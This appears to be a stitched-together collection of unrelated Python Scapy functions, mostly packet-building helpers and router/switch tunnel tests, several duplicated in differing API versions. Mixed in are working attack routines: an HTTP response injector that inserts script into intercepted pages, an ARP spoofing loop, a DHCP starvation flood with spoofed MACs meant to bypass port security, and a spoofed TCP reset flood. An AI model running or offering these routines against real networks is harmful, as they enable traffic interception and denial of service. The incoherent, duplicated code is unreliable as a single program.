def main():
iface = get_if()
pkt = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP(
dst="10.0.2.2", options=IPOption_MRI(count=0,
swtraces=[])) / TCP(
dport=1234, sport=random.randint(49152,65535)) / "111111111111111111111111111111111111111111111111111111111111111111111111111111" \
"111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"
pkt2 = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP(
dst="10.0.2.2", options=IPOption_MRI(count=0, swtraces=[])) / TCP(
dport=1234, sport=random.randint(49152, 65535)) / "2222"
#t=float(sys.argv[1])
list_delta = [0.05, 0.058, 0.065, 0.074, 0.087, 0.1, 0.13]
pkt.show2()
try:
for l in list_delta:
sendp(pkt2)
for i in range(500):
sendp(pkt, iface=iface)
sleep(l)
sleep(10)
sendp(pkt2)
except KeyboardInterrupt:
raise
def test_6rd_ip4_to_ip6_sec_check(self):
""" ip4 -> ip6 (decap) security check 6rd test """
rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6,
'2002::'), 16, 0,
inet_pton(AF_INET, '0.0.0.0'), 0,
self.pg0.local_ip4n, True)
self.tunnel_index = rv.sw_if_index
self.vapi.cli("show ip6 fib")
p_ip6 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) /
UDP(sport=1234, dport=1234))
p_ip6_fail = (IPv6(src="2002:DEAD:0202::1", dst=self.pg1.remote_ip6) /
UDP(sport=1234, dport=1234))
p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) /
IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6)
p_reply = p_ip6
rx = self.send_and_expect(self.pg0, p * 10, self.pg1)
for p in rx:
self.validate_4in6(p, p_reply)
p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) /
IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6_fail)
rx = self.send_and_assert_no_replies(self.pg0, p * 10)
self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def test_6rd_ip4_to_ip6_sec_check(self):
"""ip4 -> ip6 (decap) security check 6rd test"""
rv = self.vapi.ipip_6rd_add_tunnel(
ip6_table_id=0,
ip4_table_id=0,
ip6_prefix="2002::/16",
ip4_prefix="0.0.0.0/0",
ip4_src=self.pg0.local_ip4,
security_check=True,
)
self.tunnel_index = rv.sw_if_index
self.vapi.cli("show ip6 fib")
p_ip6 = IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) / UDP(
sport=1234, dport=1234)
p_ip6_fail = IPv6(src="2002:DEAD:0202::1",
dst=self.pg1.remote_ip6) / UDP(sport=1234,
dport=1234)
p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) /
IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6)
p_reply = p_ip6
rx = self.send_and_expect(self.pg0, p * 10, self.pg1)
for p in rx:
self.validate_4in6(p, p_reply)
p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) /
IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6_fail)
rx = self.send_and_assert_no_replies(self.pg0, p * 10)
self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def main():
iface = get_if()
pkt = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP(
dst="10.0.5.5", options=IPOption_MRI(count=0,
swtraces=[])) / TCP(
dport=1234, sport=random.randint(49152,65535)) / "111111111111111111111111111111111111111111111111111111111111111111111111111111" \
"11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111" \
"1111111111111111111111111111111111111111111111111111111111111111" \
"11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"
pkt2 = Ether(src="08:00:00:00:01:01", dst="ff:ff:ff:ff:ff:ff") / IP(
dst="10.0.2.2", options=IPOption_MRI(count=0, swtraces=[])) / TCP(
dport=1234, sport=random.randint(49152, 65535)) / "2222"
s = int(sys.argv[1])
t = 967 * 8 / (s * 1000)
pkt.show2()
try:
for i in range(500):
sendp(pkt, iface=iface)
sleep(t)
except KeyboardInterrupt:
raise
def vlan_send_packet(self,
outer_vid,
outer_tpid=0x8100,
inner_vid=-1,
inner_tpid=-1):
"""
if vid is -1, it means send pakcage not include vlan id.
"""
self.tpid_ori_file = "/tmp/tpid_ori.pcap"
self.tpid_new_file = "/tmp/tpid_new.pcap"
self.tester.send_expect("rm -rf /tmp/tpid_ori.pcap", "# ")
self.tester.send_expect("rm -rf /tmp/tpid_new.pcap", "# ")
# The package stream : testTxPort->dutRxPort->dutTxport->testRxPort
port = self.tester.get_local_port(dutRxPortId)
self.txItf = self.tester.get_interface(port)
self.smac = self.tester.get_mac(port)
port = self.tester.get_local_port(dutTxPortId)
self.rxItf = self.tester.get_interface(port)
# the package dect mac must is dut tx port id when the port promisc is
# off
self.dmac = self.dut.get_mac_address(dutRxPortId)
self.inst = sniff_packets(self.rxItf)
pkt = []
if outer_vid < 0 or outer_tpid <= 0:
pkt = [
Ether(dst="%s" % self.dmac, src="%s" % self.smac) / IP(len=46)
]
wrpcap(self.tpid_new_file, pkt)
else:
pkt = [
Ether(dst="%s" % self.dmac, src="%s" % self.smac) /
Dot1Q(vlan=1) / Dot1Q(vlan=2) / IP(len=46)
]
wrpcap(self.tpid_ori_file, pkt)
fmt = '1/1 "%02x"'
out = self.tester.send_expect(
"hexdump -ve '%s' '%s'" % (fmt, self.tpid_ori_file), "# ")
if (inner_vid < 0 or inner_tpid <= 0):
replace = str("%04x" % outer_tpid) + str("%04x" % outer_vid)
else:
replace = str("%04x" % outer_tpid) + str(
"%04x" % outer_vid) + str("%04x" % inner_tpid) + str(
"%04x" % inner_vid)
fmt = '1/1 "%02x"'
out = self.tester.send_expect(
"hexdump -ve '%s' '%s' |sed 's/8100000181000002/%s/' |xxd -r -p > '%s'"
% (fmt, self.tpid_ori_file, replace, self.tpid_new_file), "# ")
self.tester.send_expect("scapy", ">>> ")
self.tester.send_expect("pkt=rdpcap('%s')" % self.tpid_new_file,
">>> ")
self.tester.send_expect("sendp(pkt, iface='%s')" % self.txItf, ">>> ")
self.tester.send_expect("quit()", "# ")
def test_6rd_bgp_tunnel(self):
""" 6rd BGP tunnel """
rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=0,
ip4_table_id=0,
ip6_prefix='2002::/16',
ip4_prefix='0.0.0.0/0',
ip4_src=self.pg0.local_ip4,
security_check=False)
self.tunnel_index = rv.sw_if_index
default_route = VppIpRoute(
self,
"DEAD::",
16, [
VppRoutePath("2002:0808:0808::",
self.tunnel_index,
proto=DpoProto.DPO_PROTO_IP6)
],
is_ip6=1)
default_route.add_vpp_config()
ip4_route = VppIpRoute(self, "8.0.0.0", 8,
[VppRoutePath(self.pg1.remote_ip4, 0xFFFFFFFF)])
ip4_route.add_vpp_config()
# Via recursive route 6 -> 4
p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) /
IPv6(src="1::1", dst="DEAD:BEEF::1") /
UDP(sport=1234, dport=1234))
p_reply = (IP(src=self.pg0.local_ip4, dst="8.8.8.8", proto='ipv6') /
IPv6(src='1::1', dst='DEAD:BEEF::1', nh='UDP'))
rx = self.send_and_expect(self.pg0, p * 10, self.pg1)
for p in rx:
self.validate_6in4(p, p_reply)
# Via recursive route 4 -> 6 (Security check must be disabled)
p_ip6 = (IPv6(src="DEAD:BEEF::1", dst=self.pg1.remote_ip6) /
UDP(sport=1234, dport=1234))
p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) /
IP(src="8.8.8.8", dst=self.pg0.local_ip4) / p_ip6)
p_reply = p_ip6
rx = self.send_and_expect(self.pg0, p * 10, self.pg1)
for p in rx:
self.validate_4in6(p, p_reply)
ip4_route.remove_vpp_config()
default_route.remove_vpp_config()
self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def runTest(self):
inner_udp = UDP(sport=5060, dport=5061) / ("\xab" * 128)
pkt = Ether(src=self.DMAC_1, dst=self.SWITCH_MAC_1) / \
IP(src=self.S1U_ENB_IPV4, dst=self.S1U_SGW_IPV4) / \
UDP(sport=2152, dport=2152) / \
make_gtp(20 + len(inner_udp), 0xeeffc0f0) / \
IP(src=self.END_POINT_IPV4, dst=self.S1U_ENB_IPV4) / \
inner_udp
exp_pkt = Ether(src=self.SWITCH_MAC_2, dst=self.DMAC_2) / \
IP(src=self.END_POINT_IPV4, dst=self.S1U_ENB_IPV4, ttl=63) / \
inner_udp
testutils.send_packet(self, self.port1, str(pkt))
testutils.verify_packet(self, exp_pkt, self.port2)
def runTest(self):
inner_udp = UDP(sport=5061, dport=5060) / ("\xab" * 128)
pkt = Ether(src=self.DMAC_2, dst=self.SWITCH_MAC_2) / \
IP(src=self.S1U_ENB_IPV4, dst=self.END_POINT_IPV4) / \
inner_udp
exp_pkt = Ether(src=self.SWITCH_MAC_1, dst=self.DMAC_1) / \
IP(tos=0, id=0x1513, flags=0, frag=0,
src=self.S1U_SGW_IPV4, dst=self.S1U_ENB_IPV4) / \
UDP(sport=2152, dport=2152, chksum=0) / \
make_gtp(20 + len(inner_udp), 1) / \
IP(src=self.S1U_ENB_IPV4, dst=self.END_POINT_IPV4, ttl=63) / \
inner_udp
testutils.send_packet(self, self.port2, str(pkt))
testutils.verify_packet(self, exp_pkt, self.port1)
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy.Raw in scapy_packet and scapy.TCP in scapy_packet:
load = scapy_packet[scapy.Raw].load
if scapy_packet[scapy.TCP].dport == 80:
print("[+] Request")
load = re.sub("Content-Encoding:.*?\\r\\n", "", load)
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
elif scapy_packet[scapy.TCP].sport == 80:
print("[+] Response")
injection_code = '<script>alert('test');</script>'
load = load.replace("</body>", injection_code + "</body>")
content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
print(scapy_packet.show())
if content_length_search and "text/html" in load:
content_length = content_length_search.group(1)
new_content_length = int(content_length) + len(injection_code)
load = load.replace(str(content_length), str(new_content_length))
if load != scapy_packet[scapy.Raw].load:
new_packet = set_load(scapy_packet, load)
packet.set_payload(str(new_packet))
packet.accept()
def sono_h():
#print("entro")
t = threading.currentThread()
while getattr(t, "do_run", True):
#print("arpizzo h")
sendp(Ether(dst=gateway_mac,src=victim_mac)/IP(src=str(RandIP()),dst=str(RandIP()))/TCP(sport=2321,dport=23423,flags='R',options=[('Timestamp',(0,0))]),verbose=0 )
time.sleep(0.1)
def create_tcp_ipv4_frame(
self, ip_id, src_ip_addr, dst_ip_addr, frame_size,
src_mac_addr='00:00:0A:00:0B:00',
dst_mac_addr='00:00:0A:00:0A:00'):
payload_size = frame_size - HEADER_SIZE['eth'] - HEADER_SIZE['ip'] -\
HEADER_SIZE['tcp'] - \
len(TestIPPipeline.payload_watermark)
if payload_size < 0:
payload_size = 0
frame = Ether() / IP() / TCP(flags="") / (TestIPPipeline.payload_watermark +
"X" * payload_size)
frame[Ether].src = src_mac_addr
frame[Ether].dst = dst_mac_addr
frame[IP].src = src_ip_addr
frame[IP].dst = dst_ip_addr
frame[IP].id = ip_id
# TCP ports always 0
frame[TCP].sport = 0
frame[TCP].dport = 0
return frame
def generate_udp_packet(ip_src: str = "192.168.64.32",
ip_dst: str = "192.168.64.48",
mac_src: str = "56:6D:D9:BC:70:1C",
ttl: int = 64,
mac_dst: str = "F4:2B:95:B3:0E:1A",
port_src: int = 1337,
port_dst: int = 6442,
payload: str = ""):
"""
Builds an UDP packet with the values specified by the caller.
:param ip_src: the source IP address of the IP header
:param ip_dst the destination IP address of the IP header
:param mac_src: the source MAC address of the MAC header
:param ttl: the ttl value of the packet
:param mac_dst: the destination MAC address of the MAC header
:param port_src: the source port of the UDP header
:param port_dst: the destination port of the UDP header
:param payload: the payload of the packet
:return: the corresponding UDP packet
"""
ether = Ether(src=mac_src, dst=mac_dst)
ip = IP(src=ip_src, dst=ip_dst, ttl=ttl)
udp = UDP(sport=port_src, dport=port_dst)
packet = ether / ip / udp / Raw(load=payload)
return packet
def send_packet(et_src, et_dst, content_name, chunk_num, ip_src,
ip_proto=150, mpls_ttl=10):
ether = Ether(src=et_src, dst=et_dst)
label = hashlib.sha256()
label.update(content_name.encode())
name_bytes = label.digest()
mpls_label = name_bytes[0]*4096 + name_bytes[1]*16 + (name_bytes[2]>>4)#first 20 bits
mpls = MPLS(label=mpls_label, ttl=mpls_ttl)
# name = ndn.Name(ndn.Name.Component(content_name))
# name.appendSegment(chunk_num)
# interest = ndn.Interest(name)
# interest.setInterestLifetimeMilliseconds(INTEREST_LIFETIME)
# data=interest.wireEncode().buf().tobytes()
#creating Interest packet
data=encode_in_2bytes(content_name)
data = data + encode_in_2bytes(str(chunk_num))
ip = IP(src=ip_src, proto=ip_proto)
packet = ether / mpls / ip / data.decode()
packet.show()
sendp(packet)
def test_6rd_ip4_to_ip6_vrf(self):
""" ip4 -> ip6 (decap) 6rd VRF test """
rv = self.vapi.ipip_6rd_add_tunnel(20, inet_pton(AF_INET6,
'2002::'), 16, 10,
inet_pton(AF_INET, '0.0.0.0'), 0,
self.pg2.local_ip4n, True)
self.tunnel_index = rv.sw_if_index
rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index)
rv = self.vapi.ipip_6rd_add_tunnel(20, inet_pton(AF_INET6,
'2002::'), 16, 10,
inet_pton(AF_INET, '0.0.0.0'), 0,
self.pg2.local_ip4n, True)
self.tunnel_index = rv.sw_if_index
self.vapi.sw_interface_set_table(self.tunnel_index, 1, 20)
p_ip6 = (IPv6(src="2002:AC10:0402::1", dst=self.pg3.remote_ip6) /
UDP(sport=1234, dport=1234))
p = (Ether(src=self.pg2.remote_mac, dst=self.pg2.local_mac) /
IP(src=self.pg3.remote_ip4, dst=self.pg2.local_ip4) / p_ip6)
p_reply = p_ip6
rx = self.send_and_expect(self.pg2, p * 10, self.pg3)
for p in rx:
self.validate_4in6(p, p_reply)
self.vapi.sw_interface_set_table(self.tunnel_index, 1, 0)
self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def callback(data):
#print data.summary()
ip = IP(src="10.0.0.13", dst="10.0.0.11")
pkt = Ether() / ip / UDP(sport=1234, dport=5000) / Raw(load="CIAO")
#print pkt.summary()
sleep(0.1)
sendp(pkt, realtime=True)
def callback(data):
ip = data[IP]
ip.dst = "10.0.0.11" # Send to B
del ip.chksum
pkt = Ether() / IP(dst="10.0.0.11") / UDP()
#pkt.show()
sendp(pkt, realtime=True)
def test_6rd_ip4_to_ip6_vrf(self):
""" ip4 -> ip6 (decap) 6rd VRF test """
rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=20,
ip4_table_id=10,
ip6_prefix='2002::/16',
ip4_prefix='0.0.0.0/0',
ip4_src=self.pg2.local_ip4,
security_check=True)
self.tunnel_index = rv.sw_if_index
rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index)
rv = self.vapi.ipip_6rd_add_tunnel(ip6_table_id=20,
ip4_table_id=10,
ip6_prefix='2002::/16',
ip4_prefix='0.0.0.0/0',
ip4_src=self.pg2.local_ip4,
security_check=True)
self.tunnel_index = rv.sw_if_index
self.vapi.sw_interface_set_table(self.tunnel_index, 1, 20)
p_ip6 = (IPv6(src="2002:AC10:0402::1", dst=self.pg3.remote_ip6) /
UDP(sport=1234, dport=1234))
p = (Ether(src=self.pg2.remote_mac, dst=self.pg2.local_mac) /
IP(src=self.pg3.remote_ip4, dst=self.pg2.local_ip4) / p_ip6)
p_reply = p_ip6
rx = self.send_and_expect(self.pg2, p * 10, self.pg3)
for p in rx:
self.validate_4in6(p, p_reply)
self.vapi.sw_interface_set_table(self.tunnel_index, 1, 0)
self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def send_register_packet(self, content_name, src_ip):
ether = Ether(src=self.CACHE_IN_ETH, dst=self.CONTROLLER_ETH)
ip = IP(src=content_name, dst=src_ip, proto=self.REG_PROTO)
data = "register"
packet = ether / ip / data
#packet.show()
sendp(packet)
def make_dhcp_request(self, my_ip_address, server_id, xid):
"""
Creates a DHCPREQUEST packet using scapy
Parameters
---------
my_ip_address : str
the IP address assigned by the DHCP Server
server_id : str
the DHCP Server Identification
xid : str
the DHCP Transaction id
Returns
-------
Packet
A scapy DHCPREQUEST Packet
"""
ethernet = Ether(src=self.mac_address, dst="ff:ff:ff:ff:ff:ff")
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
bootp = BOOTP(chaddr=self.mac_address_raw, xid=xid)
dhcp = DHCP(options=[("message-type", "request"), ("server_id", server_id),
("requested_addr", my_ip_address), ("hostname", self.hostname), "end"])
dhcp_request = ethernet / ip / udp / bootp / dhcp
return dhcp_request
def create_packet(self, data, content_id, et_src, ip_proto=DATA_PROTO):
#print('begin creating packet, et_src:'+str(et_src)+', ip_src: '+str(ip_src))
ether = Ether(src=et_src) #, dst=et_dst)
ip = IP(src=content_id, dst='127.0.0.1', proto=ip_proto, ttl=0, tos=0)
packet = ether / ip / data
#packet.show()
return packet
def get_mac(ip_1):
print("[\033[32m+\033[00m] Getting mac address")
arping = Ether(dst = ETHER_BROADCAST) / ARP(pdst = ip_1)
os.write(1, "[\033[32m+\033[00m] ")
rep, norep = srp(arping, timeout = 2)
for snd, rcv in rep:
return rcv.sprintf(r"%Ether.src%")
def send_discover2(self):
print ""
print "Starting Endless Starvation, Press e to exit"
print ""
packet_number = 0
while True:
for i in range(255):
if keyboard.is_pressed('e'):
print "\nEndless Starvation Ended." + str(packet_number) + " Discover Packets sent"
print "Close terminal to exit properly"
sys.exit()
# Generate transaction id
transaction_id = random.randint(1, 900000000)
# Generate fake CHADDR
spoofed_chaddr = str(RandMAC())
while spoofed_chaddr in spoofed_chaddr_list:
print "Duplicate SPOOF CHADDR detected, generating a new one"
spoofed_chaddr = str(RandMAC())
spoofed_chaddr_list.append(spoofed_chaddr)
# Create discover packet, specifying source mac to bypass port security
discover_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff")
discover_packet /= IP(src="0.0.0.0", dst="255.255.255.255")
discover_packet /= UDP(sport=68, dport=67)
discover_packet /= BOOTP(chaddr=spoofed_chaddr, xid=transaction_id)
discover_packet /= DHCP(options=[("message-type", "discover"), "end"])
sendp(discover_packet, iface=interface, verbose=0)
packet_number += 1
sleep(0.01)
def test_6rd_ip4_to_ip6(self):
""" ip4 -> ip6 (decap) 6rd test """
rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6,
'2002::'), 16, 0,
inet_pton(AF_INET, '0.0.0.0'), 0,
self.pg0.local_ip4n, True)
self.tunnel_index = rv.sw_if_index
rv = self.vapi.ipip_6rd_del_tunnel(rv.sw_if_index)
rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6,
'2002::'), 16, 0,
inet_pton(AF_INET, '0.0.0.0'), 0,
self.pg0.local_ip4n, True)
self.tunnel_index = rv.sw_if_index
p_ip6 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) /
UDP(sport=1234, dport=1234))
p = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) /
IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4) / p_ip6)
p_reply = p_ip6
rx = self.send_and_expect(self.pg0, p * 10, self.pg1)
for p in rx:
self.validate_4in6(p, p_reply)
self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def packet_analyzer(self, packet):
# Check for DHCP packet
if DHCP in packet:
# Check for Offer message
if packet[DHCP].options[0][1] == 2:
server_ip = packet[IP].src
client_mac = packet[BOOTP].chaddr
offered_ip = packet[BOOTP].yiaddr
transaction_id = packet[BOOTP].xid
# Create request packet, specifying source mac to bypass port security
request_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff")
request_packet /= IP(src="0.0.0.0", dst="255.255.255.255")
request_packet /= UDP(sport=68, dport=67)
request_packet /= BOOTP(chaddr=client_mac, xid=transaction_id)
request_packet /= DHCP(options=[("message-type", "request"), ("server_id", server_ip), ("requested_addr", offered_ip), "end"])
sendp(request_packet, iface=interface, verbose=0)
# Check for ACK message
elif packet[DHCP].options[0][1] == 5:
client_mac = packet[BOOTP].chaddr
leased_ip = packet[BOOTP].yiaddr
leased_ip_list.append(leased_ip)
print leased_ip + " has been leased to " + client_mac + ". Total IPs leased: " + str(len(leased_ip_list))
# Check for NAK message
elif packet[DHCP].options[0][1] == 6:
print " NAK Received"
def test_6rd_ip4_to_ip6_multiple(self):
""" ip4 -> ip6 (decap) 6rd test """
self.tunnel_index = []
rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6,
'2002::'), 16, 0,
inet_pton(AF_INET, '0.0.0.0'), 0,
self.pg0.local_ip4n, True)
self.tunnel_index.append(rv.sw_if_index)
rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6,
'2003::'), 16, 0,
inet_pton(AF_INET, '0.0.0.0'), 0,
self.pg1.local_ip4n, True)
self.tunnel_index.append(rv.sw_if_index)
self.vapi.cli("show ip6 fib")
p_ether = Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac)
p_ip4 = IP(src=self.pg1.remote_ip4, dst=self.pg0.local_ip4)
p_ip6_1 = (IPv6(src="2002:AC10:0202::1", dst=self.pg1.remote_ip6) /
UDP(sport=1234, dport=1234))
p_ip6_2 = (IPv6(src="2003:AC10:0202::1", dst=self.pg1.remote_ip6) /
UDP(sport=1234, dport=1234))
p = (p_ether / p_ip4 / p_ip6_1)
rx = self.send_and_expect(self.pg0, p * 10, self.pg1)
for p in rx:
self.validate_4in6(p, p_ip6_1)
p = (p_ether / p_ip4 / p_ip6_2)
rx = self.send_and_expect(self.pg0, p * 10, self.pg1)
for p in rx:
self.validate_4in6(p, p_ip6_2)
for i in self.tunnel_index:
self.vapi.ipip_6rd_del_tunnel(i)
def make_arp_request(self, ip_src, ip_dst):
"""
Creates an ARP REQUEST packet
Parameters
----------
ip_src : str
source IP address of the ARP REQUEST
ip_dst : str
destination IP address of the ARP REQUEST
Returns
-------
Packet
A scapy ARP REQUEST Packet
"""
ether = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.mac_address)
arp = ARP(op=1,
hwsrc=self.mac_address,
psrc=ip_src,
hwdst="ff:ff:ff:ff:ff:ff",
pdst=ip_dst)
pkt = ether / arp
return pkt
def test_6rd_ip6_to_ip4(self):
""" ip6 -> ip4 (encap) 6rd test """
p_ether = Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac)
p_ip6 = IPv6(src="1::1", dst="2002:AC10:0202::1", nh='UDP')
rv = self.vapi.ipip_6rd_add_tunnel(0, inet_pton(AF_INET6,
'2002::'), 16, 0,
inet_pton(AF_INET, '0.0.0.0'), 0,
self.pg0.local_ip4n, True)
self.tunnel_index = rv.sw_if_index
self.vapi.cli("show ip6 fib")
p_payload = UDP(sport=1234, dport=1234)
p = (p_ether / p_ip6 / p_payload)
p_reply = (
IP(src=self.pg0.local_ip4, dst=self.pg1.remote_ip4, proto='ipv6') /
p_ip6)
rx = self.send_and_expect(self.pg0, p * 10, self.pg1)
for p in rx:
self.validate_6in4(p, p_reply)
# MTU tests (default is 1480)
plen = 1481 - 40 - 8
p_ip6 = IPv6(src="1::1", dst="2002:AC10:0202::1")
p_payload = UDP(sport=1234, dport=1234) / Raw(self.payload(plen))
p = (p_ether / p_ip6 / p_payload)
p_reply = (
IP(src=self.pg0.local_ip4, dst=self.pg1.remote_ip4, proto='ipv6') /
p_ip6)
rx = self.send_and_assert_no_replies(self.pg0, p * 10)
self.vapi.ipip_6rd_del_tunnel(self.tunnel_index)
def arp_spoof():
print("Arp spoofing unidirezionale avviato")
while 1:
sendp(Ether(dst=victim_mac, src=my_mac) /
ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac),
verbose=0)
time.sleep(1)
def snort_pkt_values(pkt):
"""
"""
res = {}
eth = Ether(pkt.encode('latin1')[0:300])
if hasattr(eth, 'src') and hasattr(eth, 'dst'):
res['sourceMacAddress'] = eth.src
res['destinationMacAddress'] = eth.dst
if 'IP' in eth:
ip = eth.payload
res['sourceIPv4Address'] = ip.src
res['destinationIPv4Address'] = ip.dst
if 'TCP' in ip:
tcp = ip.payload
res['protocolIdentifier'] = "tcp"
res['sourceTransportPort'] = tcp.sport
res['destinationTransportPort'] = tcp.dport
elif 'UDP' in ip:
udp = ip.payload
res['protocolIdentifier'] = "udp"
res['sourceTransportPort'] = udp.sport
res['destinationTransportPort'] = udp.dport
elif 'ICMP' in ip:
icmp = ip.payload
res['protocolIdentifier'] = "icmp"
res['sourceTransportPort'] = icmp.type
res['destinationTransportPort'] = icmp.code
return res
def send_packet(self, req_id, et_src, et_dst, content_name, chunk_num,
flow_num, ip_src):
# req_id, et_src, et_dst, content_name, chunk_num, flow_num, ip_src = args[0], args[1],args[2],args[3],args[4],args[5],args[6]
ip_proto = 150
mpls_ttl = 10
ether = Ether(src=et_src, dst=et_dst)
label = hashlib.sha256()
label.update(content_name.encode())
name_bytes = label.digest()
mpls_label = name_bytes[0] * 4096 + name_bytes[1] * 16 + (
name_bytes[2] >> 4) #first 20 bits
# print('content name ' ,content_name, 'mpls label:', mpls_label)
mpls = MPLS(label=mpls_label, ttl=mpls_ttl)
#creating Interest packet
data = self.encode_in_2bytes(content_name)
data = data + self.encode_in_2bytes(str(chunk_num))
data = data + (req_id).encode('utf-8')
ip = IP(src=ip_src, proto=ip_proto)
packet = ether / mpls / ip / data.decode()
self.recieved_data[content_name][flow_num][chunk_num][0].start()
self.slog_delay_int.save(content_name, chunk_num, str(req_id))
# print("sending packet " + str(flow_num) + "...")
sendp(packet, verbose=False)
